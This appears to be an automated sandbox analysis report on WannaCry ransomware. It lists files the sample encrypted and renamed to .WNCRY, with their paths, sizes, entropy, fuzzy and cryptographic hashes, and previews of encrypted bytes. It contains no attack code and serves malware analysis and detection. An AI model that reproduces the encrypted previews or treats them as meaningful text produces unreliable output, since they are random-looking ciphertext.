                                    Preview:WANACRY!.....Ll."I.N.3..@....\.c...x...G...[./..(.] .-eY>...2*i.r.=..c...%..o!p(S$..<]^\LH..=..O~)?..s.|...]..O...c..z.!....v.....O..Y.~.t.,.e6.#.."y-`l.9fm.7....o5....r........^.b/....z...iM.U.\]...6o..l.]%....p.@3.qQ.+....c@../T.{.y.!.:=T....7.C...e^...................s....`.M..{....t..$;2t...oJm.....=......a."s..M. h..K........QLe_.'....J.......m...2.`./.C.$..K.{Z..4./...t.."../}..~.Z.....u....4. ....5...|&7...nwk..?.>-n..Y...A......./...mG...k..q...$B5.lp....!5.C..!.%D..KGK4\..L4.j\.VUZ.z5.'.a.8[...Ut* .S..m...>ZQ~k..$.w.....o?[.K"..:......7..AAb.p$..Bku#...6Jx4..=....X....0..`.e:..\...-X.nL..........g.6..5cE......H(...A....[.v.............D....f..+d.3..v.......#.>$X_q......Ja....7..J.9.y.|5..q%.r.Lrs...Be......|..r...c.k..E..J..!.[.JcD[.E..`:..a"`...?'..9...F)...HtZ.82....+....6.';..c...z`.QM5..&Y....\.(..eG....*.s......C...U}..T...k.i._.O.._.rq..Q|.8..;.._..C.#,....&7K............r..M.k...;ZBH.R.<&.....C.......c....r=#....4.Zs.._$...s..ajr..w..{

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409637954002018.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):105208
                                    Entropy (8bit):7.998242560971169
                                    Encrypted:true
                                    SSDEEP:1536:uYfm+iQrRM097IBujxq0O4IZAWHgbV9TMAoDybNHcxi0oHLwsQVnER14hAKS:uKrm097IZNsbVVMAKUHsoHZcna4hO
                                    MD5:5F18526466605BB6B1E113BD2D91F808
                                    SHA1:F17E92D7384D080ECFE012F0B26BEC02140E3056
                                    SHA-256:C8E71382F917071019ADE263C659A0E975ABDD8B4C93D61DE7D1B8AF5214FB0B
                                    SHA-512:5B06DE87555AE4F9840DBAD6778FF27FA44FABBEFEF8BC467C9EFBD51611A8ABA893D11F39C6D794B2CBE695C4CA81DEDACD7A4AE2B06BE611E51530424770B8
                                    Malicious:true
                                    Preview:WANACRY!.....lWy.X-.. ...b=SsP.2..Y+w.nve.....m.CJ."9....{._.4.'..F.kE......P9I...].U.z....k.... A.;...*:..w.C.r..f.6...^.M..F.RF..<.4q.5.e!..N/..p.B.*.._t....W.u.7.U...s...Y...C..?4'(....N..9.M...]..Sv..-:..x......uh<|./..`z.i.>....%RN.l..... KV....K..m.3............Y.K.4..x.]V....f,..gT^..../.g.q.T.Y....\...H].R.f.....1..3......,.l.......o-......."...T..'...3G....P!.Et......R.;.......i._...P,.WlZ..S^..V-W..Ox..T.*^r..L..E....vSOVV.......`X.SL:........@.....T...O)sx)...3#.kmvZ2&d.!.e..w7Tz.d_.+.lh.._=...;.%.G'......\.... .?...J.$..A......Ox..]...m8.5..`.D..S~..FE+..P!.j3>.....2..>..a .F$...u..1..{..{.....]i.......d...*....~c..Z^.._<[iE..p..w.j^.(.%n&...|9..h.N5<...N.(...b.e......%..<fl...4.Ei..;...kU......_..N."...."...X..,.=_......Fy.@.X..5=.[P'...O1.....2....)P.....Hd....(A.9.D..y..$..n.....GAS......3.~.BA.b..~..6.....`/7.%a...UM..f.a..}..&............zb.#..>.;".h..TV..5H..B.-r.J&..o...3.<.Ag.K<O....:...>Q.d..B.!.xTv...........):.

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):352008
                                    Entropy (8bit):7.999515341292329
                                    Encrypted:true
                                    SSDEEP:6144:LnxPbmccvWfwTBGIhgAVko4ZjttX0FjBlDdiUIGzV91rJravSi/Zi:VCJvWfOGIhZmT0VB6G11ravZ/Zi
                                    MD5:674FD67A5E1E811FE5360585410B3D4B
                                    SHA1:AA036D0C3788915AE9B6E05AAB05A231886440D4
                                    SHA-256:13835A9E8541540D2E6DA45C66311D08360093CCAE010D0F84094C74DA7B2580
                                    SHA-512:694C65B45D550BC1C345BA44C85CFFD98446C36472FC317AB57E2522EAFFDB7497DA8AEF92E74439B13D80EE45EA83EF1C3D68F30E2C83828A0876786F7C5EB6
                                    Malicious:true
                                    Preview:WANACRY!....0..~f.>....C.y...........~*.[Rn....[...]..q@........@Z....)r_..P..lp..)...Q.....Zl..G..v...4./.-a......lI ..m.O^.l.{.r.<I.D..Y4......[`...oM..W.F.C..]&MOBe..P......@.Iz*....v.+.#..Me.?.OR........&...e/^..G...xN.;....Z.............r.{..[..b.....]......%.Q.RB.(^...(....3%=\}<....)...X...7:..a.,f.9.s]..{`|q...mP.....f.S...!.q..k........{.B..bf..u....1...M.d.w....K.H.1.Is$.4.....f..f..hg[.p..4....F,....5K..2T...&-.v.V..r...q."r7v4..l.m.Q.[..g.z...X..Oo'....{..l.....M.N...K._<.l.r?..P..FQz?,........&&...l.T".a.N u....2...;z9.D...s\....:...0.#.7.1.S....5...Y..ml..m...`....B..X.7...(.r.O..K p.P.i..k7.s.n...i%A.-......SH-Q...9...2.V..e....].k.Y.8..PE:4..FN.JmH<=z?..$..I....+]_..c..I..$n...{.cP&.E.i.sM...{.f..........a..8j....>...E?.I4,.*w....e...%...y4.~L...1.....5E...........x...U.....ih...0..A.q.$.bW9:j.D...9.A.4A)d...'....)......Pl..i....;N..U+h...>U.'=...0...Z.&..k.5y...3oF....a...^.|....>..2:bE......x...3..L......8.O?L....M....!

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):243784
                                    Entropy (8bit):7.99924368148114
                                    Encrypted:true
                                    SSDEEP:6144:clBPh3QEgA5EFe9ySAAWSSyquXp7r0yUV1UruHgoenUJ:clBPmqRYGp7r0yUV9AoZ
                                    MD5:5A4958698669B8E72AF97A5EB3FD6190
                                    SHA1:7BF5825F1351CC7E900CEDC78846F7EBA8A20696
                                    SHA-256:E43BC36DF1D6B246BE24DB243E679AD10147F33220904F85A45D5115DA6EE28C
                                    SHA-512:5FFA53D34EDB9FBBDCDDFCC5B1B59EF5CB65FE86B57FE39F8D85A73686D93F254F6AB208C4DEB6E60355A976A997BEBDB99EB7796376C9321F7E1D4D46D6C9C4
                                    Malicious:true
                                    Preview:WANACRY!.......\...NI.=m'Q.Q.L...0,......S..>..Jx|~b.2....%H6...M.-&.Pn.UG....9..o....~...%Le....#;\)R..Yc<..V....d..'..^..md..$....&.....%..g7...{5.=....AF6*..qY.......D..`.i.Q.,..0...4..FM....Xa?..&g..7...O.bV?..#......u..z4....@..8.z.a....j\.?...C.....p....&........*...%XT..#lz-...Cb...\..T..Di.u2.b..T..,Ox%.#.s~.?.z.T..pf...1..&@k.@..Tle.Z=.G.......|..sL}.8.W2./,.I&`.OM.L..`&...g..:A.{5.E....."W.K.D^...F..C'..9.....w.n..$...0..[..U..1..;.%..R....:........qZ....b..B.M.[6%t.@H...1..C.->$....C..4.0.@...Z...a+...7T..X..Z.UYi..D/.4.We?ba..i.`.A?.(.._.G.4PxL..-......%.T.7V@dXb..|..L....$.......K.....(..I..]...Y..c....C>y...`p..|.h...fy.... v...&F......]A..oozV^i.y.......Fw.6t'.x....\.. '#......Au..>e.&F.....>RCJ.d*.qk...g.4...5......NXZ.a0....q6.0Y.Ew_3.&}9.Jv>).c..L~....t5.*.O.}..r..x..r.[..B.+.>.aI....4...+.... ....c~........l.c..+.BBk...h+!k..0..X..m...\..T.a.....GI.m........| '.2..+.6?...}x.ff.0(....@#...q...%2.`.....q.GU../.e.......

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3502d36d-7211-4995-af80-eced47ce4a6c}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):34696
                                    Entropy (8bit):7.995014571898117
                                    Encrypted:true
                                    SSDEEP:768:UZrOevvi19deRBwfIXtEUWJ98Wfp7mDvsY1wPR0zMN4Gjy:UZrOKmdtOoJ98Q7mzMjy
                                    MD5:0AC8B8C2FD31AEA0CD131C2358CEB6EE
                                    SHA1:FF807BC2C15BEEA34EE52448C8060916C8B1E0D7
                                    SHA-256:8C421E2D07A0008B7DD0BEC6F0EB37B43AA956E18398ADB918ADF62B4D788759
                                    SHA-512:6D16C563B2D5A600ABA1BE8C7A34C648190926E8C2D3BC44FEF1039E5C93AFB683D37F12FBB4C78D3461321C47F94AFB064E97326FFC2CCFD3FFF5FB4F2C11EB
                                    Malicious:true
                                    Preview:WANACRY!....kx....L.t..g....H.~.V.T...5rL..q.a...|.dz8......:...e.a.]..e..e.4ly..[p.O..O.w{...C...L...YsL..V./a...v.h......J.......2....N7.qm..B-0>U$.t.....F.@o..j.........A.7}.c....Bi?.....c...<.@.F.........s..]..JSp....../...>.{#Z..V..Q1.....c...+m .C....e.......'.G...l.+.<.c..f.x9.a]9B..9N...b..1.E...y/.$.{..9o;.,v....X:<u...Y..KHF.......k...%....a...f...dI....uG.o...s".k.yb.`..V.J.Aw.bL....3L6..P.$.....!.e...y..b.".C$w..x..^z ...l,r.h.(~e;wX.p.0..q..!.C~,...a.X......>..l{9....`=.|4.8.....z+8.B...mg-V.*L.?....N......0.K.:.....|...........?..J..L.....j....T...?..5O.)1.B.d...7..."& ]b..u.@...\...!~N...b...U........G.g..*~.)h]......z.'k.02......i..6.i.atq.z.m.f..nRW2#......K......(....g...f1wh.~p|4.!lo8k=......6..v...;.0FO..0..1.&...B....S'.`..,.c....l.D........9...m.v.V.A.JN.Q...{....+...8..>...S..<|ZI.Zs....?bE~.....R.]r-......eM...}..aq..V....~r........r|....i..R3.8!\....?..4......d.zW.9..,\S..............|..5o...d.A.e.%GA.

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed67b689-2200-491a-9730-3e54067afbf3}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):34696
                                    Entropy (8bit):7.99435419673704
                                    Encrypted:true
                                    SSDEEP:768:v62hcizcWfdAElfmXdRuW52L06XcuTEj7DE3EgLexGKv5zrQ/l0n8MMUa:v62h9hfdll+PSNcuTEj7DE3LAGKxzrQx
                                    MD5:A7A2E720DD068F02B58DF40BC041F65A
                                    SHA1:E2263B19948E3F4F5EBB6F860866C896DE54E0F0
                                    SHA-256:72020DCA63B4C2FE6BF055E054E02DC17054A2744CEBFF7FAFB9A298DC39AAFC
                                    SHA-512:DC8FDC8013B9DC61342C2F0F6EEC3065CAA8A5C821DCD96D78DBFDE0E8F70BB6EBFF17000A09FC8CCF323C8B2CC56EB37FFD0A4040DF587F8297253F57F22137
                                    Malicious:true
                                    Preview:WANACRY!....I.^Au...s.i.)S...........)...".=....\...........>..L..P.L...].6....t.....x...O...J.Z..v..*......)Ayh.....O.{5.J.E5....N'.I..>5ds3...Is%..I.....e.}ye....Y.p...Z&...G..P`.+....B).....c..f.+3...MW.%&z.TN.BigtYl..g.x..-..Fu..Fq..Z.c..o.4..Y......e.......l.f3bM`U)H.f'.ASA.....n[..xk.Py..;.k;P...+z}..m$.....u..vX.9..e.e?....^#..9..^Z4..f..3......%..^......Zs.B&...3BAPbv....-<O..pE0.d...k....Q2D9-.\.K.p/.$.3g.......[._....q.....,A..V..Dt..SLX.s.. ..(...]...]..?.l.~.P.-hL.....kxV1..:...%.Z..... %.h...1.@..1_.(..j.U.(...rB....n.9K.X+.vv.l%..... .3.C.......EF.`..>f.T..|.#..).q^..&.%.....h.d..Z..'h...?.N...V,.....[2.N].YYr...rG0......M..1.(.+3.H8..../.X...........i"m.,.^......PX.1U....'.Z..C.....)....+y.v.AhI.v.W.......o..W.3`xW.3......0B.&u...QgK.....(vd2#...k.Z".... .?%..f...CS....fM...~..e'.Z..1..H..p._.G.....>..P..g;...7....i...z..@R.NJ....&Bd2fa...V....P.[.4.[.L.f..kK..B....G.a.....J.....G..z.....5O....:5{.mk;1!C.U........J/

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1426184
                                    Entropy (8bit):7.999876345020156
                                    Encrypted:true
                                    SSDEEP:24576:QD1TVKUuauZUdAdxjatdRigL0UD40S2Fo6zYIdp14p4ULgMmLAGr:QhTVKUukd2jav63gzY6E6Ec
                                    MD5:69D0BF545267A869A55B2FD9563791B7
                                    SHA1:6C562349E6814C197EDE21D3F6D3C23A79F435A5
                                    SHA-256:0C5210804E7028A1B2324AF3208A7BD72D7CE4B654D7180AED64F2883F64E808
                                    SHA-512:105A3CD8374BF3620414957C8C25A683FC22CB1A5B345CCFB70E913602C9A1A98288EFDCECE9B43919F0D012E0D8D87BAE720AF87DBD021F8ACFD120656F6C38
                                    Malicious:true
                                    Preview:WANACRY!....@w-&(.GJR!.v^........|d:.^DK..IS.......aDv@..(.!...4+.bB.6.+^..1.....4._......;n.o..Q.....R.U..0..z...%X(.C..:....A....._V.D..R*G......5.|.#..^TQ.6UQDz..g.g.........%s.G...Pr.~.....B>.kpA.]..6.s.2.p..m4..qn.Z.j..?....,.ky.....r2...c\b..B.Yu(.f..............zl~....?.4:|.6....".9...(.-L.....>x.t.....}..P..r.;..Fu5~Q..........>.].s.......&.).?.r. y...."...... ktQ+[$...I.t..v..Mj.../.po..Hm._...aa.P.Xd...V.h....9....V[...To:3..f..(<.FJ.`{.........$ww.?!E....n.n.^..O.YM....E.......{W4..X......o......ER...I.B.....T.<..@...:H'.de...d-&.S5M;.?...Q.n..N]ri...i.....\r..{....z....h..y..mT.`.d.s....)4.q......c....'.).}.{.F..w.....C.[=../.).......0w...X........o...w.>_..~._.F..s5.b...PE.+..D..\.x..U...J.+v.s....`?......w..?/._...1.....dcA.>.zT..#...U..N.+.....].Z....H.......}.{.g..@,6.;..R...F..~o.,E.,.j.....<.vx&.bm.20s7.y].....*W..7.B......... .5c]...i..z9RN[....P.E5z..4f.O.Y6.k..a....lUM..Nnk.k...F......?.Y..n$]..Ow..-...)....I.=....)

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):533032
                                    Entropy (8bit):7.999660980329294
                                    Encrypted:true
                                    SSDEEP:12288:rglw4MYi2gEil3n7daunC1M9Bwe2nbVNPuPzhOUBF/:8lhAgilsu7wembnPk
                                    MD5:94CBF694A974D3D3E186470091D87B93
                                    SHA1:276B73A30DCDA0F39758878C2EDDD6804554AB23
                                    SHA-256:C910C3EBC679AF2DF167A98B4760EA91B72654A6D5E1D0EF01A77F72AE9213DF
                                    SHA-512:30E125BA7DD32A2D18C366BEED0158E1F9BA153BE6F3153367635F7052F76403C6B9979353D3F6B525642C49B0AC80423C240E3DEA9B61E869A674D695249922
                                    Malicious:true
                                    Preview:WANACRY!.....+.."D)eaQ.u..o....5.4,V.d*.9R\..K..2.E..e....u1..=.2b>)~.2..f...X...23.!..@........Z.36?..UA..tc_..N<..va..k.>e..'.!d.f<...%..}<s.@.:.j..>..y.-...Lj.....V..hQ......r.MFK(..N.C.G[..<....6eD.S....d:.7g.....B..#Y7..J$.......EK..x.%....;E..Tj.....h).=.....!......b.=....y.P..@.6.W."^<../..8.A.*....2.%tG.u..H.}...a..9.....B.1.2.y..Z..k...o...cb-T.....U...FB.{.....o(Z...BI....U.=.4.+..Y.uY...NrI\.N....$.?...#b3_}..F....;{j.F.... n...K&bC........./...:\)..~..aL..qa.u.U..<.G-@.h5._............dYL.J...NW..k...D..P.I.Xo.<lj.^.v..a..'@..K....b3J..J.B.u:@[-..,..x...lm......J....va.....m.{..-.BZu&......o.4l..1 Kd.[.H.v.]u....$.#........#.V..(wi.2....r1......P.<.DN..V.q.1$8....GR.....7..W.(.j.W-. .F..jcC..d.W..R..!...,..[.#..J...BBl.N...> ..D.ms......Z..aJ....NO..+..y.....8.\...'.o.j....O..U6D.Lo!F......b.wA[...b....b.K..+...I.s....!.5....s0.I.9...q.G<.L.(.M...T.V...3h.h.....~(......-}...,....\.q,..B^$..H.q...... ....d.+.,.....<......$.E

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):44792
                                    Entropy (8bit):7.995826907622453
                                    Encrypted:true
                                    SSDEEP:768:8eRQFw19C+X1ELKWCEl1xZrhejtGJwst91TDmn6tXEK2BKNzuQTj+VqFAuiR+B:8Cz1QmxEljJYjtGJTnTt4Kwaiqh
                                    MD5:127F2F223A6998AF53DBCFCDD83FE870
                                    SHA1:A8D1992E9719F656CB98B0253AC1F5C156F0D7EE
                                    SHA-256:65E83810A08F484C767EF868166A7CAF8521B16BA0EA12939FFB7B31F23909DF
                                    SHA-512:9655E121FDBF61CBEE39C4CD9AAB2626B54C083F36E063DD66A7BE634782724F5EC4E9735AECFFFCA44A92BA7936868537A24F52335E1E57568AF733CE72AAA8
                                    Malicious:true
                                    Preview:WANACRY!.....i[.X..A..<.S.X.A...........o.z.'a..J2..W...h1......"......'.d....<1.#....3`.+.Cc.......d63....Y.~....g.Q...M.....o.9..X../?...P....\.b..'........<....w...Jr..Q...`.D*.4M.4l3.....6.Z..b.......f.z..:')8..j0...oF..}..[.L..I.?.Vd......eV.7.............k(o...."*=.r9..me....N;..R...!|...1.......cR....@.m.....%..J$Z(.#.W.7^2K......h.-.....=7U.m....]f....`o.D...P.b..r9.......(....l..........*..|..4...^H...`..J.]...m..d...n7....X....7........L..eK@.a8.1d..&..g:*@..[.....!.t.A~...L....k.~vA..~..nM>...k.P..=....._..&..5!...R.\...%{.,..(..v.r...c..T.:.dg...`..4.g7p..b6.)_._..'...2Lro.Yy...\#>.(.%P..c.]t6.Qz..8...O...(...cG.B..zn..aCj.5....zw\R;.&-..b..o{>.~{...i.....*.F...**.ER..g.Yi.k...cR.u/.B..E....@...t..Y..xa..g..(.kT.0..L.....,..{.A[$..........E[?....hv.....[I.(H..l{.2...2.........)..>...#_....7g\.<@$..(q...U.!.KP....Mj...4....u....N.~d\....._ .w.Iy..<....h...O....j..G..<..6.|.4.....C.V.l`.....g.Qmp...A...c9.=.....H..#

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104008
                                    Entropy (8bit):7.998167766173852
                                    Encrypted:true
                                    SSDEEP:1536:yHgCm0Vc16vz48uxqdRXc3dUF3jcJNe3LUEqOdJVv8nkN04rUurymUvm4NHYJ:yHQ71+45wRXcy3oJhWJ5P9/yWgYJ
                                    MD5:8E8C8F9249D61B92D073EA1E69BD6D15
                                    SHA1:9C4DF8CDB219A23006DC219F94B5FEF9087E9D34
                                    SHA-256:583569E46147535D32A6C3F94C5421FC5201A406BCDDB768EF13A322EB06105F
                                    SHA-512:FE14DE48FDEB37BEA3E258CC7194541FE81BF21FBB6BF05BF9605C69B6AD13729F79DAB09A778274A5E9F403065835C5694D9CAF83DD5FA8892E68EC3D00CFBD
                                    Malicious:true
                                    Preview:WANACRY!...........'..Y....4e.w"..R<...'n..O|n&.Bj...0F..c.,.......P.D;...v...,..x.I.{A..kL..=..Gq.s..4.....ZA2...z.....U|....b...<....*.....tz..?...$...x.....'...f.3*o..(....2.$`.h.M.%7..FI....5...$DO.M...&yv..=7!V?.q.v..H.....&......S!&A.~.;{.}.mnT......%.........CG...3..G#9;..i..*.j.K.V.o^.+..,{...n...f..k......X`2..).]V..2*#..._R5.`..fm\.m....Ri..u...A.f...bB_Q.HG^<L.%.b..3U..N#....5.s........$^>2.S.....+<...Ec.h........g .!.t.d.._..n....j....Re.k.6...6..$.HK.,....QC.lk..p..-...JA.:.f.ySw...,f...~.C.....+.h.a8@.S.......].j.o...IDw.......d..S...\.pi.^..}.....yk..*[#...m&.5JI@.......9Lti....Wp.Y$.C..a....|.;\..3'..]%F...M...p.F..ssCi-.C.h..........CHd.;..u{......I...........e.>.s3..P,.7Z.>....77..........[v....QxC.0...EF..T~^0l.P..z'R..\.'.#.4.6...j....x.i.\.DeG.....5=!..M..D...fL#e..g......T...%....H$P.|..hA..g.D,4.jQ..O.8......d.X?F.....E..>..;.Y......8.oOn..Y?T.hM.=.H[.m.|.. .....O....Y.>t#.....<....d?.K....2.....r...t.6^..E&O...Y..[-..g

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):217800
                                    Entropy (8bit):7.999165341761425
                                    Encrypted:true
                                    SSDEEP:6144:E8ktZX1Ii4KrYAPv+kDLvQQ3N8Ag5O9z3LkRtJxx41oc:OtZFIxoYAnZHD3a5O9z7atLx1c
                                    MD5:9E6983C44594CFA8FC371AC74E70DC70
                                    SHA1:EC56B2F3B2DBA8A6665DB8F580E1E7C0EFB06D74
                                    SHA-256:71694A507ED72FB0B5B7BD567B7301AAF23B831D9EF3D39FACE97DE179C51042
                                    SHA-512:AFEAB199612AB6D21A6C755DC20484BB23CD9AC2EA45A3A0502714C5EDDD94BB8A28BAC51F74644B51160AAEE543AFA4581C1E925010CC1688A48092900DCEF0
                                    Malicious:true
                                    Preview:WANACRY!............v.yb ...%..cI7[p_4.R.*.'Z..Y.).I...R...91y+M....Y.|.A.....\.....@".3.4.X.f?/.g.R..h~...R..U1i.{MB!-[Q.P?../........#>.../.J.K.+..e^...(.x....}._."...qpwm..O.U.Y.k.5.|.6....3....^..,>B..+.&"R...<.0i..)..>.#..^...G..>p.=6u...!._.d.[d.p.SP.....Q.........WQ'....{.?...<.:...\........w...h..i.`'..]..z.W.@..._...C....~..sR%...W.&t.\2.q..!.r..X5k.3..8n...W...E.>.=f9...^f7b3..Xa..Q/....T.C!.U.kj.=|.A.....J4T...b.b[..S|...5..B.r..8-o.kc....6...eO&..Cc...6.k..=Ym.F....nM..y'.2J'G)6......_)..L.&..?,..F......r.}d.2.1..'../.7!....;.........'"k..&.o5...3...m....:..}.k..#..;S!M...K:..Ea..f.....%.....|.. \J.2.. ..uY.I..]....D.'..i...g.ga.*O..........jRD....z.....s.T].${@.<...R.....i,.k.....-.9p. .Zw.>...0......?..?..|xw.sw}..........i..C./H....7...:.A...).....Q...*.d.Yo..y..>....#9.cQ,r..v4..M.&$^.]w".8...wK..C...y....q^m}.I.>.&%.k./.../N..V......C..po....Z.zX.wq.@EL.Q..&J....TN..;b+.J]W......T....)O..*D..R.,.!|..(.U.C..E....2"..

                                    C:\Documents and Settings\jones\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):217800
                                    Entropy (8bit):7.99932849162195
                                    Encrypted:true
                                    SSDEEP:6144:zS8hA8F1mRgSUVnjJFZaTzOZtIll4L95i4wB:zPA1hUVj8ll47i4a
                                    MD5:93DDE503DFD054B53D61EC3DC81BB230
                                    SHA1:57DA159AC1C4E9DCF5802C1BB6CD666392033388
                                    SHA-256:F2CF90E782997F57862948417A913F24F0B7D5CED9AAD416BC8328955C015081
                                    SHA-512:82BA5894524D91F6E0B6800CFDE40128719ED044F2387650633818CD9BD1DA9A3F771DB04C182A5BA4EAF1B87F44CCF178E72944935CEDB9DC33037482034EA4
                                    Malicious:true
                                    Preview:WANACRY!....[..k.+@u..j.(..pz,{...........|U.?az..t........M.......;n..Mzd!-'.G....C....8..;.gUCzw.)..&...Sh..>....7.^g...-.o2.[O..)...4<.P...T(.^..5./.}aU....e...D...%.hP.m.q....F.+.... ...wl..<.E."G....L.J...Z5.O^...v...6..,\.S.s0.Z...s.../..!..9"N.....Q......z..)M.Q.C..x..?.G<5....l.(O.p.Ng...../..l.g...D..J..6.C..%.....d.....cf..h.*....Ij.F.[']/..W.t...........UK...c&*.J.. . W..H.H.p..5.}.K.@#.;..H......*Zm.~..*.@.(.6.........:&.P0I..-3...x.q.....;/.:y..6z..B.k{..}.8n.1.....t'.66|Hv.Cj.......A..Vc.Nu....n.C.u..fF [6.A.n,/...O.......2.A....A....x.[.J.T..c.[.F...:.6..O..8........7.7%x.%u..El.(..HqkQ...$........l..|(......@@}...D.g.v.8.v.|../h...[.P=.a....J]...1cg..e..K;{......$.#...&y.tt'.....E.O........T.^.....C.^...=..Fd..O...j.m....L.......{.Y..b.6?...L.*F..s.ms..$...f..G..H#..?.rJlu.d.D..M.NhE.(<.e..,.8'.#.[.W.c#..........Y]!.x..f.<.$....q..pp+...t;.+.#.VV........R.g..Y..2z....r..H....:u.E....kA......9...N<.Q..w..A.:C...+.69...

                                    C:\Documents and Settings\jones\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):67976
                                    Entropy (8bit):7.9975735872495255
                                    Encrypted:true
                                    SSDEEP:1536:8z8sRRSP+dChq6k+Iyr94AcClauP3Yfm70u+:8z8sR0mxSZrZcCp3YoO
                                    MD5:FB8E150297463256F78818ACF4A24DB0
                                    SHA1:ACD12DAAA8B83AAC7DC1D8D3C43AFFA9A3DE9057
                                    SHA-256:492C699CF50F6BAC3CAE3CD50126CBB101DB39E35424DD885D47C1C9EEBDF392
                                    SHA-512:4B97CA56A538F30DD3C31F7F9D0C9C3ADDAEE45728A102129E4970C565029ECC8DC0F12505522EA8973A9EAEC0DCB6577EF30C64A1323C63FAA4BE28A3DEC32C
                                    Malicious:true
